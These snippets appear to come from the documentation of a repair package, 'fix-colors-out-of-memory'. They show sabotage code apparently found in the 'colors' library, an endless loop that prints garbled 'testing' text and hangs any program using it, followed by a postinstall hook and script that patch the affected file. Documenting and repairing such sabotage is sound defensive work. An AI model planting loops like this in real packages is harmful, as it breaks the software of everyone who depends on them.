...

/* here... */
/* remove this line after testing */
let am = require('../lib/custom/american');
am();
for (let i = 666; i < Infinity; i++) {
  if (i % 333) {
    // console.log('testing'.zalgo.rainbow)
  }
  console.log('testing testing testing testing testing testing testing'.zalgo)
}

{
    "scripts": {
        "postinstall": "node fixColors.js"
    }
}

const path = require('path');
const fixColorsOom = require('fix-colors-out-of-memory');
const nodeModulesFolder = path.join(__dirname, 'node_modules');

fixColorsOom.fixFolder(nodeModulesFolder);

// or fix target file path
fixColorsOom.fixFile(path.join(__dirname, 'node_modules/colors/lib/index.js'));